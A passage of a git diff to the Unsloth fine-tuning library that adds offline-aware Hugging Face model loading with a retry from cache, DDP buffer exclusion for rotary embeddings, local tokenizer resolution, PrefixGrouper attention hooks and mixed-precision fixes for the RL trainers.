         model_name = "unsloth/Llama-3.2-11B-Vision-Instruct-bnb-4bit",
         max_seq_length = 2048,
@@ -1110,8 +1198,10 @@ class FastModel(FastBaseModel):
             ("-unsloth-bnb-4bit", "-bnb-4bit")
         ):
             model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-        # Change -BF16 to all False for 4bit, 8bit etc
-        if model_name.lower().endswith("-bf16"):
+        # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+        if model_name.lower().endswith("-bf16") and (
+            load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+        ):
             load_in_4bit = False
             load_in_8bit = False
             load_in_fp8 = False
@@ -1134,18 +1224,12 @@ class FastModel(FastBaseModel):
 
         autoconfig_error = None
         peft_error = None
+        autoconfig_exc = None
+        peft_exc = None
         model_config = None
         peft_config = None
+        # @_offline_aware_load already forced offline when needed; nested calls inherit it.
         local_files_only = kwargs.get("local_files_only", False)
-        # Mirror env-var fallback for direct callers (FastVisionModel / FastTextModel).
-        if not local_files_only:
-            _offline = {"1", "true", "yes", "on"}
-            if (
-                os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline
-                or os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline
-            ):
-                local_files_only = True
-                kwargs["local_files_only"] = True
 
         # Text-diffusion slow-path dispatch, factored so both the normal route (below) and the
         # legacy-config fallback (in the AutoConfig except handler) share one call site.
@@ -1180,6 +1264,7 @@ class FastModel(FastBaseModel):
             raise
         except Exception as error:
             autoconfig_error = str(error)
+            autoconfig_exc = error
             # Legacy text-diffusion configs use model_type "diffusion_gemma", which current
             # transformers does not register by name (it ships "diffusion_gemma4"). AutoConfig
             # raises before we can dispatch; route straight to the diffusion slow path, whose
@@ -1212,6 +1297,7 @@ class FastModel(FastBaseModel):
             raise
         except Exception as error:
             peft_error = str(error)
+            peft_exc = error
             if "architecture" in peft_error:
                 raise ValueError(
                     f"`{model_name}` is not supported yet in `transformers=={transformers_version}`.\n"
@@ -1228,11 +1314,40 @@ class FastModel(FastBaseModel):
                 "We must only allow one config file.\n"
                 "Please separate the LoRA and base models to 2 repos."
             )
+        if not is_model and not is_peft:
+            error = autoconfig_error if autoconfig_error is not None else peft_error
+            # Old transformers version
+            if "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:
+                raise ImportError(
+                    f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"
+                    f"This includes Llama 3.1. The minimum required version is 4.43.2\n"
+                    f'Try `pip install --upgrade "transformers>=4.43.2"`\n'
+                    f"to obtain the latest transformers build, then restart this session."
+                )
+            # Create a combined error message showing both failures
+            combined_error = (
+                "Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"
+                f"AutoConfig error: {autoconfig_error}\n\n"
+                f"PeftConfig error: {peft_error}\n\n"
+            )
+            # Chain an offline-related cause if either probe had one, so @_offline_aware_load
+            # still retries from cache (e.g. adapter repo: permanent AutoConfig 404 + transient PeftConfig).
+            _cause = next(
+                (
+                    e
+                    for e in (autoconfig_exc, peft_exc)
+                    if e is not None and _is_offline_related_error(e)
+                ),
+                autoconfig_exc or peft_exc,
+            )
+            raise RuntimeError(combined_error) from _cause
+
         model_types = get_transformers_model_type(
             peft_config if peft_config is not None else model_config,
             trust_remote_code = trust_remote_code,
         )
         model_types_all = ",".join(model_types) + ","
+        _maybe_advise_fla_install(model_types)
 
         # ---- Text-diffusion models (e.g. DiffusionGemma) take a transformers-only slow path. ----
         # These use a custom block-diffusion `generate` and a novel backbone, so we skip Unsloth's
@@ -1432,24 +1547,6 @@ class FastModel(FastBaseModel):
                 # definitely exist -- no need for an extra HfFileSystem network call.
                 both_exist = True
 
-        if not is_model and not is_peft:
-            error = autoconfig_error if autoconfig_error is not None else peft_error
-            # Old transformers version
-            if "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:
-                raise ImportError(
-                    f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"
-                    f"This includes Llama 3.1. The minimum required version is 4.43.2\n"
-                    f'Try `pip install --upgrade "transformers>=4.43.2"`\n'
-                    f"to obtain the latest transformers build, then restart this session."
-                )
-            # Create a combined error message showing both failures
-            combined_error = (
-                "Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"
-                f"AutoConfig error: {autoconfig_error}\n\n"
-                f"PeftConfig error: {peft_error}\n\n"
-            )
-            raise RuntimeError(combined_error)
-
         # Get base model for PEFT:
         if is_peft:
             # Check base model again for PEFT
@@ -1462,8 +1559,10 @@ class FastModel(FastBaseModel):
                 ("-unsloth-bnb-4bit", "-bnb-4bit")
             ):
                 model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-            # Change -BF16 to all False for 4bit, 8bit etc
-            if model_name.lower().endswith("-bf16"):
+            # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+            if model_name.lower().endswith("-bf16") and (
+                load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+            ):
                 load_in_4bit = False
                 load_in_8bit = False
                 load_in_fp8 = False
@@ -1547,15 +1646,16 @@ class FastModel(FastBaseModel):
             if model_type in model_types_all:
                 supports_sdpa = False
 
-        # Check if this is local model since the tokenizer gets overwritten
-        if (
-            os.path.exists(os.path.join(old_model_name, "tokenizer_config.json"))
-            and os.path.exists(os.path.join(old_model_name, "tokenizer.json"))
-            and os.path.exists(os.path.join(old_model_name, "special_tokens_map.json"))
-        ):
-            tokenizer_name = old_model_name
-        else:
-            tokenizer_name = kwargs.pop("tokenizer_name", None)
+        # Keep the local checkpoint dir as tokenizer when self-sufficient (see
+        # _resolve_checkpoint_tokenizer_name). A VLM also needs local processor files, else
+        # we fall back to the base repo so its cached processor loads.
+        _ckpt_arch = getattr(model_config, "architectures", None) or []
+        _ckpt_is_vlm = any(x.endswith("ForConditionalGeneration") for x in _ckpt_arch) or hasattr(
+            model_config, "vision_config"
+        )
+        tokenizer_name = _resolve_checkpoint_tokenizer_name(
+            old_model_name, kwargs, require_processor = _ckpt_is_vlm
+        )
 
         # Capture task intent before text_only can replace a parent VLM config
         # with its nested text config.
@@ -1777,14 +1877,38 @@ class FastModel(FastBaseModel):
 
                 _LoraModel._create_and_replace = _patched_car
 
+            # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet.
+            _prefetched = maybe_prefetch_hf_snapshot(
+                old_model_name,
+                token = token,
+                revision = revision,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = local_files_only,
+                # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.
+                fast_inference = False,
+                force_download = kwargs.get("force_download", False),
+                # Leave use_safetensors auto (inheriting base format could skip a safetensors-only
+                # adapter). adapter_only restricts the warm to the adapter files + root aux.
+                adapter_only = True,
+            )
+            # Child did the forced download; clear the flag so the load reuses the warm cache.
+            if _prefetched and kwargs.get("force_download", False):
+                kwargs["force_download"] = False
+            # Forward cache_dir so the load reads the warmed adapter. No subfolder (that targets the
+            # base checkpoint; adapters live at the root).
+            peft_load_kwargs = {}
+            if kwargs.get("cache_dir") is not None:
+                peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]
             try:
                 model = PeftModel.from_pretrained(
                     model,
                     old_model_name,
                     token = token,
                     revision = revision,
+                    local_files_only = local_files_only,
                     is_trainable = True,
                     trust_remote_code = trust_remote_code,
+                    **peft_load_kwargs,
                 )
             finally:
                 # Always restore original PEFT method, even if loading fails
@@ -1795,6 +1919,15 @@ class FastModel(FastBaseModel):
             model = FastBaseModel.post_patch_model(
                 model, use_gradient_checkpointing, trust_remote_code = trust_remote_code
             )
+            # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back
+            # to the original loop, an attention-only adapter keeps the grouped path. Guarded.
+            try:
+                from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (
+                    auto_enable_grouped_moe,
+                )
+                auto_enable_grouped_moe(model)
+            except Exception:
+                pass  # optional speedup; never block model loading
 
         # Apply QAT if specified
         if qat_scheme is not None:
@@ -1810,6 +1943,7 @@ class FastModel(FastBaseModel):
             patch_tiled_mlp(model, patch_options_str = patch_tiled_mlp_choice)
 
         model = _fix_rope_inv_freq(model)
+        model = _exclude_rope_inv_freq_from_ddp(model)
         return model, tokenizer
 
 
diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.py
index 9b9ba5220d..d6d6ce877e 100644
--- a/unsloth/models/loader_utils.py
+++ b/unsloth/models/loader_utils.py
@@ -18,6 +18,9 @@ import os
 import torch
 import re
 import tempfile
+import contextlib
+import threading as _threading
+import functools
 from typing import Union
 from .mapper import (
     INT_TO_FLOAT_MAPPER,
@@ -237,7 +240,12 @@ def get_model_name(
     ):
         new_model_name = BAD_MAPPINGS[new_model_name.lower()]
 
-    if new_model_name is None and model_name.count("/") == 1 and model_name[0].isalnum():
+    if (
+        new_model_name is None
+        and model_name.count("/") == 1
+        and model_name[0].isalnum()
+        and not _env_says_offline()  # offline: skip the remote (raw GitHub) mapper refresh
+    ):
         # Try checking if a new Unsloth version allows it!
         NEW_INT_TO_FLOAT_MAPPER, NEW_FLOAT_TO_INT_MAPPER, NEW_MAP_TO_UNSLOTH_16bit = (
             _get_new_mapper()
@@ -489,3 +497,364 @@ def _get_fp8_mode_and_check_settings(
                 f"Using Triton kernels instead."
             )
     return fp8_mode
+
+
+# Rotary inv_freq buffers are deliberately kept on CPU - Unsloth pre-builds a
+# cos/sin cache per GPU instead (see LlamaRotaryEmbedding.multi_gpu_cos_cached)
+# so the GPU-resident lookup never needs to move the tiny inv_freq tensor itself.
+# torch.nn.parallel.DistributedDataParallel ignores device entirely when it
+# broadcasts buffers across ranks, so a CPU buffer crashes NCCL's
+# _broadcast_coalesced with "No backend type associated with device type cpu".
+# Telling DDP to skip these specific buffers avoids that crash without moving
+# inv_freq to GPU (which would break the per-GPU cache design) and without
+# disabling buffer broadcast for every other module (the user's workaround).
+# Re-run this after wrapping with PEFT too - the buffers' fully qualified
+# names change once they sit under a PeftModel (eg "base_model.model...").
+# https://github.com/unslothai/unsloth/issues/6656
+_ROTARY_INV_FREQ_BUFFER_NAMES = ("inv_freq", "short_inv_freq", "long_inv_freq")
+
+
+def _exclude_rope_inv_freq_from_ddp(model):
+    ignored = list(getattr(model, "_ddp_params_and_buffers_to_ignore", None) or [])
+    for module_name, module in model.named_modules():
+        for buffer_name, _ in module.named_buffers(recurse = False):
+            if buffer_name in _ROTARY_INV_FREQ_BUFFER_NAMES:
+                fqn = f"{module_name}.{buffer_name}" if module_name else buffer_name
+                if fqn not in ignored:
+                    ignored.append(fqn)
+    if ignored:
+        try:
+            from torch.nn.parallel import DistributedDataParallel
+            DistributedDataParallel._set_params_and_buffers_to_ignore_for_model(model, ignored)
+        except Exception:
+            # Private PyTorch API - fall back to setting the attribute DDP reads
+            # directly if it ever moves or changes signature.
+            model._ddp_params_and_buffers_to_ignore = ignored
+    return model
+
+
+# =============================================================================
+# Offline loading - single source of truth (shared by vision.py, loader.py and
+# the Studio exporter). Decide offline ONCE at the load boundary and force it
+# ONCE around the whole load, so every nested HF call inherits it.
+# =============================================================================
+
+_OFFLINE_ENV_VALUES = {"1", "true", "yes", "on"}
+_OFFLINE_ENV_KEYS = ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE")
+
+
+def _env_says_offline():
+    """True if an HF offline env var is set to a truthy value."""
+    return any(
+        os.environ.get(_k, "").strip().lower() in _OFFLINE_ENV_VALUES for _k in _OFFLINE_ENV_KEYS
+    )
+
+
+def _get_effective_local_files_only(kwargs):
+    """Offline if local_files_only is truthy or an HF offline env var is set. Read-only."""
+    if kwargs.get("local_files_only", None):
+        return True
+    return _env_says_offline()
+
+
+def _is_offline_related_error(exc):
+    """True if exc (or its cause/context chain) is a lost-connection error, not a
+    missing file. Plain FileNotFoundError propagates; LocalEntryNotFoundError is offline."""
+    import socket
+    import ssl
+    import urllib.error
+
+    # Match network failures by type (locale independent), not just message wording.
+    _net_types = [ConnectionError, TimeoutError, socket.gaierror, urllib.error.URLError]
+    _offline_fnf_types = ()  # FileNotFoundError subclasses that count as offline
+    # urllib HTTPError is a URLError subclass: judge by status (5xx offline, 4xx propagates).
+    _http_types = (urllib.error.HTTPError,)
+    # TLS/cert failures are security-sensitive (MITM, expired CA): never offline-retry them.
+    _ssl_types = [ssl.SSLError]
+    try:
+        import requests
+
+        _net_types += [requests.exceptions.ConnectionError, requests.exceptions.Timeout]
+        _http_types += (requests.exceptions.HTTPError,)
+        _ssl_types.append(requests.exceptions.SSLError)
+    except Exception:
+        pass
+    try:
+        from huggingface_hub.errors import (
+            OfflineModeIsEnabled,
+            HfHubHTTPError,
+            LocalEntryNotFoundError,
+        )
+
+        _net_types += [OfflineModeIsEnabled, LocalEntryNotFoundError]
+        _offline_fnf_types = (LocalEntryNotFoundError,)
+        _http_types += (HfHubHTTPError,)
+    except Exception:
+        pass
+    _net_types = tuple(_net_types)
+    _ssl_types = tuple(_ssl_types)
+
+    def _http_status(e):
+        resp = getattr(e, "response", None)
+        code = getattr(resp, "status_code", None)
+        if code is None:
+            code = getattr(e, "status_code", None)
+        if code is None:
+            code = getattr(e, "code", None)  # urllib.error.HTTPError uses .code
+        try:
+            return int(code)
+        except (TypeError, ValueError):
+            return None
+
+    _wording = (
+        "couldn't connect",
+        "could not connect",
+        "connection error",
+        "connectionerror",
+        "max retries",
+        "offline",
+        "timed out",
+        "timeout",
+        "couldn't reach",
+        "could not reach",
+        "failed to resolve",
+        "getaddrinfo",
+        "name resolution",
+        "no address associated",
+        "network is unreachable",
+        "connection refused",
+        "we couldn't connect to",
+        "proxyerror",
+        # Raw socket.gaierror DNS wording (Linux / macOS)
+        "name or service not known",
+        "temporary failure in name resolution",
+        "nodename nor servname provided",
+    )
+    seen = set()
+    cur = exc
+    while cur is not None and id(cur) not in seen:
+        seen.add(id(cur))
+        # TLS/cert failure (corporate MITM, expired CA): security-sensitive, never retry from
+        # cache. Skip this node; a deeper cause in the chain may still be a genuine outage.
+        if isinstance(cur, _ssl_types) or isinstance(getattr(cur, "reason", None), _ssl_types):
+            cur = cur.__cause__ or cur.__context__
+            continue
+        is_fnf = isinstance(cur, FileNotFoundError) and not isinstance(cur, _offline_fnf_types)
+        # urllib HTTPError is a URLError (net type) but must be judged by status code below,
+        # unlike LocalEntryNotFoundError (an HfHubHTTPError that is always offline).
+        if (
+            isinstance(cur, _net_types)
+            and not is_fnf
+            and not isinstance(cur, urllib.error.HTTPError)
+        ):
+            return True
+        if isinstance(cur, _http_types):
+            code = _http_status(cur)
+            if code is not None and 500 <= code < 600:
+                return True
+            # No status -> wording fallback (coded 4xx already decided above).
+            if code is None and not is_fnf and any(w in str(cur).lower() for w in _wording):
+                return True
+        # OSError wording fallback (HTTP status already decided above).
+        elif isinstance(cur, OSError) and not is_fnf:
+            if any(w in str(cur).lower() for w in _wording):
+                return True
+        cur = cur.__cause__ or cur.__context__
+    return False
+
+
+# Process-wide HF offline state; the depth counter lets nested windows share one
+# flip (first entrant saves originals, last exit restores). Lock guards flip/restore.
+_force_offline_lock = _threading.RLock()
+_force_offline_depth = 0
+_force_offline_saved = []  # in-process module attributes
+_force_offline_saved_env = {}  # HF offline env-var originals
+
+
+def _reset_hf_sessions():
+    """Clear hub's per-thread cached Sessions so the next rebuilds against the current
+    offline flag. On hub 0.x the offline adapter is baked in at Session creation. Best-effort."""
+    try:
+        from huggingface_hub.utils._http import reset_sessions
+    except Exception:
+        try:
+            from huggingface_hub.utils import reset_sessions
+        except Exception:
+            return
+    try:
+        reset_sessions()
+    except Exception:
+        pass
+
+
+@contextlib.contextmanager
+def _force_hf_offline():
+    """Force HF offline for the window. local_files_only alone is not enough
+    (transformers < 5 still pings /api/models), so set BOTH the env vars (cover
+    subprocesses + raw urllib/requests) AND the in-process hub/transformers constants.
+    Process-global; the refcount keeps restore correct under nesting / overlap."""
+    global _force_offline_depth, _force_offline_saved, _force_offline_saved_env
+    with _force_offline_lock:
+        if _force_offline_depth == 0:
+            saved = []
+            saved_env = {}
+            # Snapshot in-process constants BEFORE forcing the env: a module first imported
+            # here would otherwise initialize its constant from the just-set "1" and we would
+            # save (then restore) True, pinning the process offline after the window.
+            try:
+                import huggingface_hub.constants as _hfc
+                if hasattr(_hfc, "HF_HUB_OFFLINE"):
+                    saved.append((_hfc, "HF_HUB_OFFLINE", _hfc.HF_HUB_OFFLINE))
+            except Exception:
+                pass
+            try:
+                import transformers.utils.hub as _tuh
+                for _attr in ("_is_offline_mode", "OFFLINE"):
+                    if hasattr(_tuh, _attr):
+                        saved.append((_tuh, _attr, getattr(_tuh, _attr)))
+            except Exception:
+                pass
+            # Now force the env vars and flip the snapshotted constants to offline.
+            for _k in _OFFLINE_ENV_KEYS:
+                saved_env[_k] = os.environ.get(_k)
+                os.environ[_k] = "1"
+            for _obj, _attr, _ in saved:
+                try:
+                    setattr(_obj, _attr, True)
+                except Exception:
+                    pass
+            _force_offline_saved = saved
+            _force_offline_saved_env = saved_env
+            # Rebuild cached sessions so they pick up the offline adapter.
+            _reset_hf_sessions()
+        _force_offline_depth += 1
+    try:
+        yield
+    finally:
+        with _force_offline_lock:
+            _force_offline_depth -= 1
+            if _force_offline_depth == 0:
+                for obj, attr, val in _force_offline_saved:
+                    try:
+                        setattr(obj, attr, val)
+                    except Exception:
+                        pass
+                _force_offline_saved = []
+                for _k, _v in _force_offline_saved_env.items():
+                    if _v is None:
+                        os.environ.pop(_k, None)
+                    else:
+                        os.environ[_k] = _v
+                _force_offline_saved_env = {}
+                # Drop offline-mounted sessions so later online calls rebuild for the network.
+                _reset_hf_sessions()
+
+
+def _progress_bars_were_disabled():
+    """Snapshot HF progress-bar state (None if unknown); pairs with _restore_progress_bars."""
+    try:
+        from huggingface_hub.utils import are_progress_bars_disabled
+        return are_progress_bars_disabled()
+    except Exception:
+        return None
+
+
+def _restore_progress_bars(were_disabled):
+    """Re-enable HF progress bars only if a failed attempt left them disabled after they
+    were enabled (a loader disables them around config probes and skips re-enabling on
+    error). No-op if the user had them disabled or the state is unknown."""
+    if were_disabled is False:
+        try:
+            from huggingface_hub.utils import enable_progress_bars
+            enable_progress_bars()
+        except Exception:
+            pass
+
+
+def _offline_aware_load(fn):
+    """Decide offline ONCE (local_files_only kwarg or env) and force it around the
+    whole load. If we started online and hit a network error, retry once forced-offline.
+    Network-up online path is unchanged: no window, no retry."""
+
+    @functools.wraps(fn)
+    def _wrapper(*args, **kwargs):
+        if _get_effective_local_files_only(kwargs):
+            kwargs["local_files_only"] = True
+            with _force_hf_offline():
+                return fn(*args, **kwargs)
+        _pb_were_disabled = _progress_bars_were_disabled()  # restore before any retry
+        try:
+            return fn(*args, **kwargs)
+        except Exception as e:
+            # Skip if not network-related, or already retried by a nested decorator
+            # (else outer layers reload the whole model again).
+            if not _is_offline_related_error(e) or getattr(e, "_unsloth_offline_retried", False):
+                raise
+        # Retry OUTSIDE the except so the failed attempt's traceback (a partial model)
+        # is freed before reallocating, else a large VLM can OOM on the second load.
+        try:
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+            if hasattr(torch, "xpu") and torch.xpu.is_available():
+                torch.xpu.empty_cache()
+        except Exception:
+            pass
+        # A failed attempt may have left HF progress bars disabled; restore before retry.
+        _restore_progress_bars(_pb_were_disabled)
+        kwargs["local_files_only"] = True
+        try:
+            with _force_hf_offline():
+                return fn(*args, **kwargs)
+        except Exception as e:
+            # Tag so an enclosing _offline_aware_load skips its own redundant retry.
+            try:
+                e._unsloth_offline_retried = True
+            except Exception:
+                pass
+            raise
+
+    return _wrapper
+
+
+def _has_local_tokenizer_files(path):
+    """True if a local dir has a loadable tokenizer (BPE vocab.json needs merges.txt;
+    special_tokens_map.json is not required)."""
+    return (
+        os.path.exists(os.path.join(path, "tokenizer.json"))
+        or os.path.exists(os.path.join(path, "tokenizer.model"))
+        or (
+            os.path.exists(os.path.join(path, "vocab.json"))
+            and os.path.exists(os.path.join(path, "merges.txt"))
+        )
+        or os.path.exists(os.path.join(path, "vocab.txt"))
+        or os.path.exists(os.path.join(path, "spiece.model"))
+    )
+
+
+def _has_local_processor_files(path):
+    """True if a local dir ships a processor/image-processor config (a VLM needs this to
+    build AutoProcessor; tokenizer files alone are not enough)."""
+    return os.path.exists(os.path.join(path, "processor_config.json")) or os.path.exists(
+        os.path.join(path, "preprocessor_config.json")
+    )
+
+
+def _resolve_checkpoint_tokenizer_name(
+    old_model_name,
+    kwargs,
+    require_processor = False,
+):
+    """tokenizer_name for a PEFT/checkpoint load: caller override, else the local checkpoint
+    dir if self-sufficient, else None (base repo). Always popped from kwargs (also passed
+    explicitly downstream). For a VLM (require_processor), the dir must also ship processor
+    files; otherwise fall back to the base repo whose cached processor still loads."""
+    explicit = kwargs.pop("tokenizer_name", None)
+    if explicit is not None:
+        return explicit
+    has_config = os.path.exists(os.path.join(old_model_name, "tokenizer_config.json"))
+    if not (has_config and _has_local_tokenizer_files(old_model_name)):
+        return None
+    if require_processor and not _has_local_processor_files(old_model_name):
+        return None
+    return old_model_name
diff --git a/unsloth/models/mistral.py b/unsloth/models/mistral.py
index 74f7acbb03..4350565fe2 100644
--- a/unsloth/models/mistral.py
+++ b/unsloth/models/mistral.py
@@ -27,6 +27,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from .llama import (
     LlamaRotaryEmbedding,
@@ -124,6 +125,9 @@ def MistralAttention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -134,6 +138,7 @@ def MistralAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
@@ -161,7 +166,13 @@ def MistralForCausalLM_fast_forward(
     *args,
     **kwargs,
 ) -> Union[Tuple, CausalLMOutputWithPast]:
-    if causal_mask is None and past_key_values is None:
+    # PrefixGrouper brings its own mask: a synthesized causal attention_mask would trip
+    # resolve_prefix_seg_info on the no-xFormers path and force a fallback.
+    if (
+        causal_mask is None
+        and past_key_values is None
+        and kwargs.get("prefix_seg_info", None) is None
+    ):
         bsz, q_len = input_ids.shape
         sliding_window = getattr(self.config, "sliding_window", None)
 
@@ -332,7 +343,9 @@ def MistralForCausalLM_fast_forward(
                 logit_softcapping = logit_softcapping,
             )
             if not return_dict:
-                output = (logits,) + outputs[1:]
+                # Fused CE never materializes `logits`; use EMPTY_LOGITS
+                # like the return_dict branch below (fixes #2068).
+                output = (EMPTY_LOGITS,) + outputs[1:]
                 return (loss,) + output if loss is not None else output
 
             output = CausalLMOutputWithPast(
diff --git a/unsloth/models/qwen3.py b/unsloth/models/qwen3.py
index e28e72d3ea..0d05a2d538 100644
--- a/unsloth/models/qwen3.py
+++ b/unsloth/models/qwen3.py
@@ -23,6 +23,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from .llama import (
     LlamaRotaryEmbedding,
@@ -146,6 +147,9 @@ def Qwen3Attention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -156,6 +160,7 @@ def Qwen3Attention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index a85c1d08a4..b5cadf2dea 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -423,8 +423,14 @@ def prepare_for_training_mode(f):
                 pass
         # Enable training mode
         _was_training = None
-        # Get gradient checkpointing setting from training arguments
-        use_gc = getattr(self.args, 'gradient_checkpointing', True)
+        # Restore the GC mode the model was configured with at setup; fall back to
+        # the training args only when it wasn't recorded (issue #4735). Use hasattr,
+        # not a None sentinel, so a deliberately-recorded None is restored verbatim.
+        _model = getattr(self, 'model', None)
+        if hasattr(_model, '_unsloth_gradient_checkpointing'):
+            use_gc = _model._unsloth_gradient_checkpointing
+        else:
+            use_gc = getattr(self.args, 'gradient_checkpointing', True)
         if hasattr(self, 'model') and hasattr(self.model, "training"):
             _was_training = self.model.training
         if hasattr(self, 'model') and hasattr(self.model, "for_training"):
@@ -532,7 +538,8 @@ class Unsloth{RLTrainer_name}(_Unsloth{RLTrainer_name}):
             if getattr(args, "_n_gpu", 1) != 1:
                 args._n_gpu = 1
         if "model" in locals() and hasattr(model, "for_training"):
-            model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True))
+            _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True)
+            model.for_training(use_gradient_checkpointing=_use_gc)
         super().__init__({RLTrainer_call_args}{RLTrainer_kwargs})
         if "model" in locals() and hasattr(model, "for_inference"):
             model.for_inference()
@@ -994,8 +1001,18 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             "use_fp16 = getattr(args, 'fp16', False)\n"
             "if type(use_fp16) is not bool: use_fp16 = False\n"
             "force_float32 = False\n"
+            # device-aware bf16 check (CUDA/XPU/HIP), so V100/T4 never pick bf16
+            # but AMD/Intel are unaffected; fall back on older unsloth_zoo.
+            "try:\n"
+            "    from unsloth_zoo.device_type import device_is_bf16_supported as _bf16_supported\n"
+            "except Exception:\n"
+            "    _bf16_supported = torch.cuda.is_bf16_supported\n"
+            # FORCE_FLOAT32 models (Gemma3, gpt_oss, ...) cannot use float16. On a GPU without
+            # bf16 (V100/T4) keep them in float32 so they never autocast to fp16. On a bf16 GPU,
+            # full finetuning can still use bf16 autocast (master weights stay float32), which is
+            # faster and uses less memory; LoRA/QLoRA keep float32 when forced.
             "full_finetuning = os.environ.get('UNSLOTH_ENABLE_FULL_FINETUNING', '0') == '1'\n"
-            "if not full_finetuning and (os.environ.get('UNSLOTH_FORCE_FLOAT32', '0') == '1'):\n"
+            "if os.environ.get('UNSLOTH_FORCE_FLOAT32', '0') == '1' and not (full_finetuning and _bf16_supported()):\n"
             "    print('Unsloth: Switching to float32 training since model cannot work with float16')\n"
             "    force_float32 = True\n"
             "mixed_precision_dtype = os.environ.get('UNSLOTH_MIXED_PRECISION', 'float32')\n"
@@ -1004,8 +1021,12 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             "from unsloth_zoo.utils import _get_dtype\n"
             "dtype = _get_dtype(dtype)\n"
             "float16 = dtype == torch.float16\n"
+            "bfloat16 = dtype == torch.bfloat16\n"
+            "if full_finetuning:\n"
+            "    if bfloat16 and use_fp16: use_fp16 = False\n"
+            "    if float16 and use_bf16: use_bf16 = False\n"
             "if not force_float32 and (float16 and use_bf16): raise TypeError('Unsloth: Model is in float16 precision but you want to use bfloat16 precision. Set fp16 to `True` and bf16 to `False`')\n"
-            "if not force_float32 and (not float16 and use_fp16): raise TypeError('Unsloth: Model is in bfloat16 precision but you want to use float16 precision. Set fp16 to `False` and bf16 to `True`')\n"
+            "if not force_float32 and (bfloat16 and use_fp16): raise TypeError('Unsloth: Model is in bfloat16 precision but you want to use float16 precision. Set fp16 to `False` and bf16 to `True`')\n"
             "if force_float32:\n"
             "    # Forced float32 training\n"
             "    args.fp16 = False\n"
@@ -1014,11 +1035,12 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             "    if hasattr(args, 'mixed_precision'): args.mixed_precision = 'no'\n"
             "    # args.mixed_precision is a new argument which needs to be set now\n"
             "elif (not use_bf16 and not use_fp16) and mixed_precision_dtype == 'float32':\n"
-            "    # Mixed precision training\n"
-            "    args.fp16 = float16\n"
-            "    args.bf16 = not float16\n"
-            "    os.environ['ACCELERATE_MIXED_PRECISION'] = 'fp16' if float16 else 'bf16'\n"
-            "    if hasattr(args, 'mixed_precision'): args.mixed_precision = 'fp16' if float16 else 'bf16'\n"
+            "    # Mixed precision training. bf16 only if the GPU supports it; V100/T4 use fp16.\n"
+            "    use_bf16_amp = (not float16) and _bf16_supported()\n"
+            "    args.fp16 = not use_bf16_amp\n"
+            "    args.bf16 = use_bf16_amp\n"
+            "    os.environ['ACCELERATE_MIXED_PRECISION'] = 'bf16' if use_bf16_amp else 'fp16'\n"
+            "    if hasattr(args, 'mixed_precision'): args.mixed_precision = 'bf16' if use_bf16_amp else 'fp16'\n"
             "    # args.mixed_precision is a new argument which needs to be set now\n"
             "elif mixed_precision_dtype == 'bfloat16':\n"
             "    # Both False since bfloat16 full finetuning doesn't do any autocasting.\n"
@@ -1150,7 +1172,8 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
     if "model" in call_args:
         training_check = (
             "if model is not None and hasattr(model, 'for_training'):\n"
-            "    model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True))\n"
+            "    _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True)\n"
+            "    model.for_training(use_gradient_checkpointing=_use_gc)\n"
